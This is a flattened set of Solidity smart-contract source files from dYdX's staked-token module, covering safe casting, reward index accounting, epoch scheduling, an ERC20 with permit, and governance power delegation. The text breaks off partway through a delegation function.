interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
/**
* @dev Methods for downcasting unsigned integers, reverting on overflow.
*/
library SafeCast {
/**
* @dev Downcast to a uint16, reverting on overflow.
*/
function toUint16(
uint256 a
)
internal
pure
returns (uint16)
{
uint16 b = uint16(a);
require(
uint256(b) == a,
'SafeCast: toUint16 overflow'
);
return b;
}
/**
* @dev Downcast to a uint32, reverting on overflow.
*/
function toUint32(
uint256 a
)
internal
pure
returns (uint32)
{
uint32 b = uint32(a);
require(
uint256(b) == a,
'SafeCast: toUint32 overflow'
);
return b;
}
/**
* @dev Downcast to a uint128, reverting on overflow.
*/
function toUint128(
uint256 a
)
internal
pure
returns (uint128)
{
uint128 b = uint128(a);
require(
uint256(b) == a,
'SafeCast: toUint128 overflow'
);
return b;
}
/**
* @dev Downcast to a uint224, reverting on overflow.
*/
function toUint224(
uint256 a
)
internal
pure
returns (uint224)
{
uint224 b = uint224(a);
require(
uint256(b) == a,
'SafeCast: toUint224 overflow'
);
return b;
}
/**
* @dev Downcast to a uint240, reverting on overflow.
*/
function toUint240(
uint256 a
)
internal
pure
returns (uint240)
{
uint240 b = uint240(a);
require(
uint256(b) == a,
'SafeCast: toUint240 overflow'
);
return b;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { Math } from '../../../utils/Math.sol';
import { SafeCast } from '../lib/SafeCast.sol';
import { SM1EpochSchedule } from './SM1EpochSchedule.sol';
/**
* @title SM1Rewards
* @author dYdX
*
* @dev Manages the distribution of token rewards.
*
* Rewards are distributed continuously. After each second, an account earns rewards `r` according
* to the following formula:
*
* r = R * s / S
*
* Where:
* - `R` is the rewards distributed globally each second, also called the “emission rate.”
* - `s` is the account's staked balance in that second (technically, it is measured at the
* end of the second)
* - `S` is the sum total of all staked balances in that second (again, measured at the end of
* the second)
*
* The parameter `R` can be configured by the contract owner. For every second that elapses,
* exactly `R` tokens will accrue to users, save for rounding errors, and with the exception that
* while the total staked balance is zero, no tokens will accrue to anyone.
*
* The accounting works as follows: A global index is stored which represents the cumulative
* number of rewards tokens earned per staked token since the start of the distribution.
* The value of this index increases over time, and there are two factors affecting the rate of
* increase:
* 1) The emission rate (in the numerator)
* 2) The total number of staked tokens (in the denominator)
*
* Whenever either factor changes, in some timestamp T, we settle the global index up to T by
* calculating the increase in the index since the last update using the OLD values of the factors:
*
* indexDelta = timeDelta * emissionPerSecond * INDEX_BASE / totalStaked
*
* Where `INDEX_BASE` is a scaling factor used to allow more precision in the storage of the index.
*
* For each user we store an accrued rewards balance, as well as a user index, which is a cache of
* the global index at the time that the user's accrued rewards balance was last updated. Then at
* any point in time, a user's claimable rewards are represented by the following:
*
* rewards = _USER_REWARDS_BALANCES_[user] + userStaked * (
* settledGlobalIndex - _USER_INDEXES_[user]
* ) / INDEX_BASE
*/
abstract contract SM1Rewards is
SM1EpochSchedule
{
using SafeCast for uint256;
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ============ Constants ============
/// @dev Additional precision used to represent the global and user index values.
uint256 private constant INDEX_BASE = 10**18;
/// @notice The rewards token.
IERC20 public immutable REWARDS_TOKEN;
/// @notice Address to pull rewards from. Must have provided an allowance to this contract.
address public immutable REWARDS_TREASURY;
/// @notice Start timestamp (inclusive) of the period in which rewards can be earned.
uint256 public immutable DISTRIBUTION_START;
/// @notice End timestamp (exclusive) of the period in which rewards can be earned.
uint256 public immutable DISTRIBUTION_END;
// ============ Events ============
event RewardsPerSecondUpdated(
uint256 emissionPerSecond
);
event GlobalIndexUpdated(
uint256 index
);
event UserIndexUpdated(
address indexed user,
uint256 index,
uint256 unclaimedRewards
);
event ClaimedRewards(
address indexed user,
address recipient,
uint256 claimedRewards
);
// ============ Constructor ============
constructor(
IERC20 rewardsToken,
address rewardsTreasury,
uint256 distributionStart,
uint256 distributionEnd
) {
require(
distributionEnd >= distributionStart,
'SM1Rewards: Invalid parameters'
);
REWARDS_TOKEN = rewardsToken;
REWARDS_TREASURY = rewardsTreasury;
DISTRIBUTION_START = distributionStart;
DISTRIBUTION_END = distributionEnd;
}
// ============ External Functions ============
/**
* @notice The current emission rate of rewards.
*
* @return The number of rewards tokens issued globally each second.
*/
function getRewardsPerSecond()
external
view
returns (uint256)
{
return _REWARDS_PER_SECOND_;
}
// ============ Internal Functions ============
/**
* @dev Initialize the contract.
*/
function __SM1Rewards_init()
internal
{
_GLOBAL_INDEX_TIMESTAMP_ = Math.max(block.timestamp, DISTRIBUTION_START).toUint32();
}
/**
* @dev Set the emission rate of rewards.
*
* IMPORTANT: Do not call this function without settling the total staked balance first, to
* ensure that the index is settled up to the epoch boundaries.
*
* @param emissionPerSecond The new number of rewards tokens to give out each second.
* @param totalStaked The total staked balance.
*/
function _setRewardsPerSecond(
uint256 emissionPerSecond,
uint256 totalStaked
)
internal
{
_settleGlobalIndexUpToNow(totalStaked);
_REWARDS_PER_SECOND_ = emissionPerSecond;
emit RewardsPerSecondUpdated(emissionPerSecond);
}
/**
* @dev Claim tokens, sending them to the specified recipient.
*
* Note: In order to claim all accrued rewards, the total and user staked balances must first be
* settled before calling this function.
*
* @param user The user's address.
* @param recipient The address to send rewards to.
*
* @return The number of rewards tokens claimed.
*/
function _claimRewards(
address user,
address recipient
)
internal
returns (uint256)
{
uint256 accruedRewards = _USER_REWARDS_BALANCES_[user];
_USER_REWARDS_BALANCES_[user] = 0;
REWARDS_TOKEN.safeTransferFrom(REWARDS_TREASURY, recipient, accruedRewards);
emit ClaimedRewards(user, recipient, accruedRewards);
return accruedRewards;
}
/**
* @dev Settle a user's rewards up to the latest global index as of `block.timestamp`. Triggers a
* settlement of the global index up to `block.timestamp`. Should be called with the OLD user
* and total balances.
*
* @param user The user's address.
* @param userStaked Tokens staked by the user during the period since the last user index
* update.
* @param totalStaked Total tokens staked by all users during the period since the last global
* index update.
*
* @return The user's accrued rewards, including past unclaimed rewards.
*/
function _settleUserRewardsUpToNow(
address user,
uint256 userStaked,
uint256 totalStaked
)
internal
returns (uint256)
{
uint256 globalIndex = _settleGlobalIndexUpToNow(totalStaked);
return _settleUserRewardsUpToIndex(user, userStaked, globalIndex);
}
/**
* @dev Settle a user's rewards up to an epoch boundary. Should be used to partially settle a
* user's rewards if their balance was known to have changed on that epoch boundary.
*
* @param user The user's address.
* @param userStaked Tokens staked by the user. Should be accurate for the time period
* since the last update to this user and up to the end of the
* specified epoch.
* @param epochNumber Settle the user's rewards up to the end of this epoch.
*
* @return The user's accrued rewards, including past unclaimed rewards, up to the end of the
* specified epoch.
*/
function _settleUserRewardsUpToEpoch(
address user,
uint256 userStaked,
uint256 epochNumber
)
internal
returns (uint256)
{
uint256 globalIndex = _EPOCH_INDEXES_[epochNumber];
return _settleUserRewardsUpToIndex(user, userStaked, globalIndex);
}
/**
* @dev Settle the global index up to the end of the given epoch.
*
* IMPORTANT: This function should only be called under conditions which ensure the following:
* - `epochNumber` < the current epoch number
* - `_GLOBAL_INDEX_TIMESTAMP_ < settleUpToTimestamp`
* - `_EPOCH_INDEXES_[epochNumber] = 0`
*/
function _settleGlobalIndexUpToEpoch(
uint256 totalStaked,
uint256 epochNumber
)
internal
returns (uint256)
{
uint256 settleUpToTimestamp = getStartOfEpoch(epochNumber.add(1));
uint256 globalIndex = _settleGlobalIndexUpToTimestamp(totalStaked, settleUpToTimestamp);
_EPOCH_INDEXES_[epochNumber] = globalIndex;
return globalIndex;
}
// ============ Private Functions ============
/**
* @dev Updates the global index, reflecting cumulative rewards given out per staked token.
*
* @param totalStaked The total staked balance, which should be constant in the interval
* since the last update to the global index.
*
* @return The new global index.
*/
function _settleGlobalIndexUpToNow(
uint256 totalStaked
)
private
returns (uint256)
{
return _settleGlobalIndexUpToTimestamp(totalStaked, block.timestamp);
}
/**
* @dev Helper function which settles a user's rewards up to a global index. Should be called
* any time a user's staked balance changes, with the OLD user and total balances.
*
* @param user The user's address.
* @param userStaked Tokens staked by the user during the period since the last user index
* update.
* @param newGlobalIndex The new index value to bring the user index up to. MUST NOT be less
* than the user's index.
*
* @return The user's accrued rewards, including past unclaimed rewards.
*/
function _settleUserRewardsUpToIndex(
address user,
uint256 userStaked,
uint256 newGlobalIndex
)
private
returns (uint256)
{
uint256 oldAccruedRewards = _USER_REWARDS_BALANCES_[user];
uint256 oldUserIndex = _USER_INDEXES_[user];
if (oldUserIndex == newGlobalIndex) {
return oldAccruedRewards;
}
uint256 newAccruedRewards;
if (userStaked == 0) {
// Note: Even if the user's staked balance is zero, we still need to update the user index.
newAccruedRewards = oldAccruedRewards;
} else {
// Calculate newly accrued rewards since the last update to the user's index.
uint256 indexDelta = newGlobalIndex.sub(oldUserIndex);
uint256 accruedRewardsDelta = userStaked.mul(indexDelta).div(INDEX_BASE);
newAccruedRewards = oldAccruedRewards.add(accruedRewardsDelta);
// Update the user's rewards.
_USER_REWARDS_BALANCES_[user] = newAccruedRewards;
}
// Update the user's index.
_USER_INDEXES_[user] = newGlobalIndex;
emit UserIndexUpdated(user, newGlobalIndex, newAccruedRewards);
return newAccruedRewards;
}
/**
* @dev Updates the global index, reflecting cumulative rewards given out per staked token.
*
* @param totalStaked The total staked balance, which should be constant in the interval
* (_GLOBAL_INDEX_TIMESTAMP_, settleUpToTimestamp).
* @param settleUpToTimestamp The timestamp up to which to settle rewards. It MUST satisfy
* `settleUpToTimestamp <= block.timestamp`.
*
* @return The new global index.
*/
function _settleGlobalIndexUpToTimestamp(
uint256 totalStaked,
uint256 settleUpToTimestamp
)
private
returns (uint256)
{
uint256 oldGlobalIndex = uint256(_GLOBAL_INDEX_);
// The goal of this function is to calculate rewards earned since the last global index update.
// These rewards are earned over the time interval which is the intersection of the intervals
// [_GLOBAL_INDEX_TIMESTAMP_, settleUpToTimestamp] and [DISTRIBUTION_START, DISTRIBUTION_END].
//
// We can simplify a bit based on the assumption:
// `_GLOBAL_INDEX_TIMESTAMP_ >= DISTRIBUTION_START`
//
// Get the start and end of the time interval under consideration.
uint256 intervalStart = uint256(_GLOBAL_INDEX_TIMESTAMP_);
uint256 intervalEnd = Math.min(settleUpToTimestamp, DISTRIBUTION_END);
// Return early if the interval has length zero (incl. case where intervalEnd < intervalStart).
if (intervalEnd <= intervalStart) {
return oldGlobalIndex;
}
// Note: If we reach this point, we must update _GLOBAL_INDEX_TIMESTAMP_.
uint256 emissionPerSecond = _REWARDS_PER_SECOND_;
if (emissionPerSecond == 0 || totalStaked == 0) {
// Ensure a log is emitted if the timestamp changed, even if the index does not change.
_GLOBAL_INDEX_TIMESTAMP_ = intervalEnd.toUint32();
emit GlobalIndexUpdated(oldGlobalIndex);
return oldGlobalIndex;
}
// Calculate the change in index over the interval.
uint256 timeDelta = intervalEnd.sub(intervalStart);
uint256 indexDelta = timeDelta.mul(emissionPerSecond).mul(INDEX_BASE).div(totalStaked);
// Calculate, update, and return the new global index.
uint256 newGlobalIndex = oldGlobalIndex.add(indexDelta);
// Update storage. (Shared storage slot.)
_GLOBAL_INDEX_TIMESTAMP_ = intervalEnd.toUint32();
_GLOBAL_INDEX_ = newGlobalIndex.toUint224();
emit GlobalIndexUpdated(newGlobalIndex);
return newGlobalIndex;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol';
/**
* @title Math
* @author dYdX
*
* @dev Library for non-standard Math functions.
*/
library Math {
using SafeMath for uint256;
// ============ Library Functions ============
/**
* @dev Return `ceil(numerator / denominator)`.
*/
function divRoundUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
if (numerator == 0) {
// SafeMath will check for zero denominator
return SafeMath.div(0, denominator);
}
return numerator.sub(1).div(denominator).add(1);
}
/**
* @dev Returns the minimum between a and b.
*/
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
/**
* @dev Returns the maximum between a and b.
*/
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { SafeCast } from '../lib/SafeCast.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1Storage } from './SM1Storage.sol';
/**
* @title SM1EpochSchedule
* @author dYdX
*
* @dev Defines a function from block timestamp to epoch number.
*
* The formula used is `n = floor((t - b) / a)` where:
* - `n` is the epoch number
* - `t` is the timestamp (in seconds)
* - `b` is a non-negative offset, indicating the start of epoch zero (in seconds)
* - `a` is the length of an epoch, a.k.a. the interval (in seconds)
*
* Note that by restricting `b` to be non-negative, we limit ourselves to functions in which epoch
* zero starts at a non-negative timestamp.
*
* The recommended epoch length and blackout window are 28 and 7 days respectively; however, these
* are modifiable by the admin, within the specified bounds.
*/
abstract contract SM1EpochSchedule is
SM1Storage
{
using SafeCast for uint256;
using SafeMath for uint256;
// ============ Events ============
event EpochParametersChanged(
SM1Types.EpochParameters epochParameters
);
event BlackoutWindowChanged(
uint256 blackoutWindow
);
// ============ Initializer ============
function __SM1EpochSchedule_init(
uint256 interval,
uint256 offset,
uint256 blackoutWindow
)
internal
{
require(
block.timestamp < offset,
'SM1EpochSchedule: Epoch zero must start after initialization'
);
_setBlackoutWindow(blackoutWindow);
_setEpochParameters(interval, offset);
}
// ============ Public Functions ============
/**
* @notice Get the epoch at the current block timestamp.
*
* NOTE: Reverts if epoch zero has not started.
*
* @return The current epoch number.
*/
function getCurrentEpoch()
public
view
returns (uint256)
{
(uint256 interval, uint256 offsetTimestamp) = _getIntervalAndOffsetTimestamp();
return offsetTimestamp.div(interval);
}
/**
* @notice Get the time remaining in the current epoch.
*
* NOTE: Reverts if epoch zero has not started.
*
* @return The number of seconds until the next epoch.
*/
function getTimeRemainingInCurrentEpoch()
public
view
returns (uint256)
{
(uint256 interval, uint256 offsetTimestamp) = _getIntervalAndOffsetTimestamp();
uint256 timeElapsedInEpoch = offsetTimestamp.mod(interval);
return interval.sub(timeElapsedInEpoch);
}
/**
* @notice Given an epoch number, get the start of that epoch. Calculated as `t = (n * a) + b`.
*
* @return The timestamp in seconds representing the start of that epoch.
*/
function getStartOfEpoch(
uint256 epochNumber
)
public
view
returns (uint256)
{
SM1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_;
uint256 interval = uint256(epochParameters.interval);
uint256 offset = uint256(epochParameters.offset);
return epochNumber.mul(interval).add(offset);
}
/**
* @notice Check whether we are at or past the start of epoch zero.
*
* @return Boolean `true` if the current timestamp is at least the start of epoch zero,
* otherwise `false`.
*/
function hasEpochZeroStarted()
public
view
returns (bool)
{
SM1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_;
uint256 offset = uint256(epochParameters.offset);
return block.timestamp >= offset;
}
/**
* @notice Check whether we are in a blackout window, where withdrawal requests are restricted.
* Note that before epoch zero has started, there are no blackout windows.
*
* @return Boolean `true` if we are in a blackout window, otherwise `false`.
*/
function inBlackoutWindow()
public
view
returns (bool)
{
return hasEpochZeroStarted() && getTimeRemainingInCurrentEpoch() <= _BLACKOUT_WINDOW_;
}
// ============ Internal Functions ============
function _setEpochParameters(
uint256 interval,
uint256 offset
)
internal
{
SM1Types.EpochParameters memory epochParameters =
SM1Types.EpochParameters({interval: interval.toUint128(), offset: offset.toUint128()});
_EPOCH_PARAMETERS_ = epochParameters;
emit EpochParametersChanged(epochParameters);
}
function _setBlackoutWindow(
uint256 blackoutWindow
)
internal
{
_BLACKOUT_WINDOW_ = blackoutWindow;
emit BlackoutWindowChanged(blackoutWindow);
}
// ============ Private Functions ============
/**
* @dev Helper function to read params from storage and apply offset to the given timestamp.
* Recall that the formula for epoch number is `n = (t - b) / a`.
*
* NOTE: Reverts if epoch zero has not started.
*
* @return The values `a` and `(t - b)`.
*/
function _getIntervalAndOffsetTimestamp()
private
view
returns (uint256, uint256)
{
SM1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_;
uint256 interval = uint256(epochParameters.interval);
uint256 offset = uint256(epochParameters.offset);
require(
block.timestamp >= offset,
'SM1EpochSchedule: Epoch zero has not started'
);
uint256 offsetTimestamp = block.timestamp.sub(offset);
return (interval, offsetTimestamp);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { IERC20Detailed } from '../../../interfaces/IERC20Detailed.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1GovernancePowerDelegation } from './SM1GovernancePowerDelegation.sol';
import { SM1StakedBalances } from './SM1StakedBalances.sol';
/**
* @title SM1ERC20
* @author dYdX
*
* @dev ERC20 interface for staked tokens. Implements governance functionality for the tokens.
*
* Also allows a user with an active stake to transfer their staked tokens to another user,
* even if they would otherwise be restricted from withdrawing.
*/
abstract contract SM1ERC20 is
SM1StakedBalances,
SM1GovernancePowerDelegation,
IERC20Detailed
{
using SafeMath for uint256;
// ============ Constants ============
/// @notice EIP-712 typehash for token approval via EIP-2612 permit.
bytes32 public constant PERMIT_TYPEHASH = keccak256(
'Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'
);
// ============ External Functions ============
function name()
external
pure
override
returns (string memory)
{
return 'Staked DYDX';
}
function symbol()
external
pure
override
returns (string memory)
{
return 'stkDYDX';
}
function decimals()
external
pure
override
returns (uint8)
{
return 18;
}
/**
* @notice Get the total supply of staked balances.
*
* Note that due to the exchange rate, this is different than querying the total balance of
* underyling token staked to this contract.
*
* @return The sum of all staked balances.
*/
function totalSupply()
external
view
override
returns (uint256)
{
return getTotalActiveBalanceCurrentEpoch() + getTotalInactiveBalanceCurrentEpoch();
}
/**
* @notice Get a user's staked balance.
*
* Note that due to the exchange rate, one unit of staked balance may not be equivalent to one
* unit of the underlying token. Also note that a user's staked balance is different from a
* user's transferable balance.
*
* @param account The account to get the balance of.
*
* @return The user's staked balance.
*/
function balanceOf(
address account
)
public
view
override(SM1GovernancePowerDelegation, IERC20)
returns (uint256)
{
return getActiveBalanceCurrentEpoch(account) + getInactiveBalanceCurrentEpoch(account);
}
function transfer(
address recipient,
uint256 amount
)
external
override
nonReentrant
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(
address owner,
address spender
)
external
view
override
returns (uint256)
{
return _ALLOWANCES_[owner][spender];
}
function approve(
address spender,
uint256 amount
)
external
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
external
override
nonReentrant
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_ALLOWANCES_[sender][msg.sender].sub(amount, 'SM1ERC20: transfer amount exceeds allowance')
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
external
returns (bool)
{
_approve(msg.sender, spender, _ALLOWANCES_[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
external
returns (bool)
{
_approve(
msg.sender,
spender,
_ALLOWANCES_[msg.sender][spender].sub(
subtractedValue,
'SM1ERC20: Decreased allowance below zero'
)
);
return true;
}
/**
* @notice Implements the permit function as specified in EIP-2612.
*
* @param owner Address of the token owner.
* @param spender Address of the spender.
* @param value Amount of allowance.
* @param deadline Expiration timestamp for the signature.
* @param v Signature param.
* @param r Signature param.
* @param s Signature param.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
require(
owner != address(0),
'SM1ERC20: INVALID_OWNER'
);
require(
block.timestamp <= deadline,
'SM1ERC20: INVALID_EXPIRATION'
);
uint256 currentValidNonce = _NONCES_[owner];
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
_DOMAIN_SEPARATOR_,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline))
)
);
require(
owner == ecrecover(digest, v, r, s),
'SM1ERC20: INVALID_SIGNATURE'
);
_NONCES_[owner] = currentValidNonce.add(1);
_approve(owner, spender, value);
}
// ============ Internal Functions ============
function _transfer(
address sender,
address recipient,
uint256 amount
)
internal
{
require(
sender != address(0),
'SM1ERC20: Transfer from address(0)'
);
require(
recipient != address(0),
'SM1ERC20: Transfer to address(0)'
);
require(
getTransferableBalance(sender) >= amount,
'SM1ERC20: Transfer exceeds next epoch active balance'
);
// Update staked balances and delegate snapshots.
_transferCurrentAndNextActiveBalance(sender, recipient, amount);
_moveDelegatesForTransfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
)
internal
{
require(
owner != address(0),
'SM1ERC20: Approve from address(0)'
);
require(
spender != address(0),
'SM1ERC20: Approve to address(0)'
);
_ALLOWANCES_[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
import { IERC20 } from './IERC20.sol';
/**
* @dev Interface for ERC20 including metadata
**/
interface IERC20Detailed is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import {
IGovernancePowerDelegationERC20
} from '../../../interfaces/IGovernancePowerDelegationERC20.sol';
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1ExchangeRate } from './SM1ExchangeRate.sol';
import { SM1Storage } from './SM1Storage.sol';
/**
* @title SM1GovernancePowerDelegation
* @author dYdX
*
* @dev Provides support for two types of governance powers which are separately delegatable.
* Provides functions for delegation and for querying a user's power at a certain block number.
*
* Internally, makes use of staked balances denoted in staked units, but returns underlying token
* units from the getPowerAtBlock() and getPowerCurrent() functions.
*
* This is based on, and is designed to match, Aave's implementation, which is used in their
* governance token and staked token contracts.
*/
abstract contract SM1GovernancePowerDelegation is
SM1ExchangeRate,
IGovernancePowerDelegationERC20
{
using SafeMath for uint256;
// ============ Constants ============
/// @notice EIP-712 typehash for delegation by signature of a specific governance power type.
bytes32 public constant DELEGATE_BY_TYPE_TYPEHASH = keccak256(
'DelegateByType(address delegatee,uint256 type,uint256 nonce,uint256 expiry)'
);
/// @notice EIP-712 typehash for delegation by signature of all governance powers.
bytes32 public constant DELEGATE_TYPEHASH = keccak256(
'Delegate(address delegatee,uint256 nonce,uint256 expiry)'
);
// ============ External Functions ============
/**
* @notice Delegates a specific governance power of the sender to a delegatee.
*
* @param delegatee The address to delegate power to.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
function delegateByType(
address delegatee,
DelegationType delegationType
)
external
override
{
_delegateByType(msg.sender, delegatee, delegationType);
}
/**
* @notice Delegates all governance powers of the sender to a delegatee.
*
* @param delegatee The address to delegate power to.
*/
function delegate(
address delegatee
)
external
override
{
_delegateByType(msg.sender, delegatee, DelegationType.VOTING_POWER);
_delegateByType(msg.sender, delegatee, DelegationType.PROPOSITION_POWER);
}
/**
* @dev Delegates specific governance power from signer to `delegatee` using an EIP-712 signature.
*
* @param delegatee The address to delegate votes to.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
* @param nonce The signer's nonce for EIP-712 signatures on this contract.
* @param expiry Expiration timestamp for the signature.
* @param v Signature param.
* @param r Signature param.
* @param s Signature param.
*/
function delegateByTypeBySig(
address delegatee,
DelegationType delegationType,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 structHash = keccak256(
abi.encode(DELEGATE_BY_TYPE_TYPEHASH, delegatee, uint256(delegationType), nonce, expiry)
);
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', _DOMAIN_SEPARATOR_, structHash));
address signer = ecrecover(digest, v, r, s);
require(
signer != address(0),
'SM1GovernancePowerDelegation: INVALID_SIGNATURE'
);
require(
nonce == _NONCES_[signer]++,
'SM1GovernancePowerDelegation: INVALID_NONCE'
);
require(
block.timestamp <= expiry,
'SM1GovernancePowerDelegation: INVALID_EXPIRATION'
);
_delegateByType(signer, delegatee, delegationType);
}
/**
* @dev Delegates both governance powers from signer to `delegatee` using an EIP-712 signature.
*
* @param delegatee The address to delegate votes to.
* @param nonce The signer's nonce for EIP-712 signatures on this contract.
* @param expiry Expiration timestamp for the signature.
* @param v Signature param.
* @param r Signature param.
* @param s Signature param.
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 structHash = keccak256(abi.encode(DELEGATE_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', _DOMAIN_SEPARATOR_, structHash));
address signer = ecrecover(digest, v, r, s);
require(
signer != address(0),
'SM1GovernancePowerDelegation: INVALID_SIGNATURE'
);
require(
nonce == _NONCES_[signer]++,
'SM1GovernancePowerDelegation: INVALID_NONCE'
);
require(
block.timestamp <= expiry,
'SM1GovernancePowerDelegation: INVALID_EXPIRATION'
);
_delegateByType(signer, delegatee, DelegationType.VOTING_POWER);
_delegateByType(signer, delegatee, DelegationType.PROPOSITION_POWER);
}
/**
* @notice Returns the delegatee of a user.
*
* @param delegator The address of the delegator.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
function getDelegateeByType(
address delegator,
DelegationType delegationType
)
external
override
view
returns (address)
{
(, , mapping(address => address) storage delegates) = _getDelegationDataByType(delegationType);
return _getDelegatee(delegator, delegates);
}
/**
* @notice Returns the current power of a user. The current power is the power delegated
* at the time of the last snapshot.
*
* @param user The user whose power to query.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function getPowerCurrent(
address user,
DelegationType delegationType
)
external
override
view
returns (uint256)
{
return getPowerAtBlock(user, block.number, delegationType);
}
/**
* @notice Get the next valid nonce for EIP-712 signatures.
*
* This nonce should be used when signing for any of the following functions:
* - permit()
* - delegateByTypeBySig()
* - delegateBySig()
*/
function nonces(
address owner
)
external
view
returns (uint256)
{
return _NONCES_[owner];
}
// ============ Public Functions ============
function balanceOf(
address account
)
public
view
virtual
returns (uint256);
/**
* @notice Returns the power of a user at a certain block, denominated in underlying token units.
*
* @param user The user whose power to query.
* @param blockNumber The block number at which to get the user's power.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*
* @return The user's governance power of the specified type, in underlying token units.
*/
function getPowerAtBlock(
address user,
uint256 blockNumber,
DelegationType delegationType
)
public
override
view
returns (uint256)
{
(
mapping(address => mapping(uint256 => SM1Types.Snapshot)) storage snapshots,
mapping(address => uint256) storage snapshotCounts,
// unused: delegates
) = _getDelegationDataByType(delegationType);
uint256 stakeAmount = _findValueAtBlock(
snapshots[user],
snapshotCounts[user],
blockNumber,
0
);
uint256 exchangeRate = _findValueAtBlock(
_EXCHANGE_RATE_SNAPSHOTS_,
_EXCHANGE_RATE_SNAPSHOT_COUNT_,
blockNumber,
EXCHANGE_RATE_BASE
);
return underlyingAmountFromStakeAmountWithExchangeRate(stakeAmount, exchangeRate);
}
// ============ Internal Functions ============
/**
* @dev Delegates one specific power to a delegatee.
*
* @param delegator The user whose power to delegate.
* @param delegatee The address to delegate power to.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function _delegateByType(
address delegator,
address delegatee,
DelegationType delegationType
)
internal
{
require(
delegatee != address(0),
'SM1GovernancePowerDelegation: INVALID_DELEGATEE'
);
(, , mapping(address => address) storage delegates) = _getDelegationDataByType(delegationType);
uint256 delegatorBalance = balanceOf(delegator);
address previousDelegatee = _getDelegatee(delegator, delegates);
delegates[delegator] = delegatee;
_moveDelegatesByType(previousDelegatee, delegatee, delegatorBalance, delegationType);
emit DelegateChanged(delegator, delegatee, delegationType);
}
/**
* @dev Update delegate snapshots whenever staked tokens are transfered, minted, or burned.
*
* @param from The sender.
* @param to The recipient.
* @param stakedAmount The amount being transfered, denominated in staked units.
*/
function _moveDelegatesForTransfer(
address from,
address to,
uint256 stakedAmount
)
internal
{
address votingPowerFromDelegatee = _getDelegatee(from, _VOTING_DELEGATES_);
address votingPowerToDelegatee = _getDelegatee(to, _VOTING_DELEGATES_);
_moveDelegatesByType(
votingPowerFromDelegatee,
votingPowerToDelegatee,
stakedAmount,
DelegationType.VOTING_POWER
);
address propositionPowerFromDelegatee = _getDelegatee(from, _PROPOSITION_DELEGATES_);
address propositionPowerToDelegatee = _getDelegatee(to, _PROPOSITION_DELEGATES_);
_moveDelegatesByType(
propositionPowerFromDelegatee,
propositionPowerToDelegatee,
stakedAmount,
DelegationType.PROPOSITION_POWER
);
}
/**
* @dev Moves power from one user to another.
*
* @param from The user from which delegated power is moved.
* @param to The user that will receive the delegated power.
* @param amount The amount of power to be moved.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function _moveDelegatesByType(
address from,
address to,
uint256 amount,
DelegationType delegationType
)
internal
{
if (from == to) {
return;
}
(
mapping(address => mapping(uint256 => SM1Types.Snapshot)) storage snapshots,
